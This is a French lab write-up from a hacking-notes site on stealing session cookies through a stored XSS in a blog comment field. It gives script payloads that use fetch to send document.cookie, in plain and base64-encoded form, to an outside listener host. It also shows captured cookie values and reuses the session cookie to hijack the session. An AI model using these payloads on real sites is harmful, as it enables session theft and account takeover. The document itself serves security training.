> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/cookie-theft-via-xss.md).

# Vol de cookies via XSS

### Exploiter le Cross-Site Scripting pour voler des cookies

Le laboratoire présente une vulnérabilité XSS stockée dans la fonction de commentaires du blog. Un utilisateur victime consulte les commentaires après publication. L'objectif pédagogique est de comprendre comment une injection côté client peut conduire à l'exfiltration des informations de session et comment s'en protéger.

Le champ de commentaire n'applique pas un encodage ou un échappement suffisant aux entrées utilisateur, ce qui permet au navigateur d'injecter du contenu lorsqu'un autre utilisateur affiche la page.

```javascript
<script>alert(0)</script>
```

<figure><img src="/files/4ec851bcf417ce0838eb80cb3317c82a9c302f4b" alt="" width="527"><figcaption></figcaption></figure>

Nous utilisons `fetch` pour effectuer des requêtes :

```javascript
<script>
  fetch("https://o0ppmd5fv2hmt8tb190bl5cy4pagy9my.oastify.com/" + "/jordan");
</script>
```

La requête arrive sur l'infrastructure d'écoute.

<figure><img src="/files/c5b537747a4b2b4b328b7204579440d6698260d7" alt=""><figcaption></figcaption></figure>

Nous envoyons le cookie de session :

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + document.cookie);
</script>
```

<figure><img src="/files/502e1c6a550a69f6370a48b5fe60bdd17da04d07" alt=""><figcaption></figcaption></figure>

```
secret=QplRMu1d8Cvif8Ai7En7j3ADRb0DZxa0;
session=sw0gW8IuyBITTD0ChgDydWcmuFx5J79D
```

Nous remplaçons ensuite le cookie de session.

<figure><img src="/files/b83838b66e41bd4f849dfd1bc962f10c05cb05c8" alt=""><figcaption></figcaption></figure>

Vous pouvez aussi encoder le contenu en base64 avant l'envoi :

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + btoa(document.cookie));
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/xss/cookie-theft-via-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
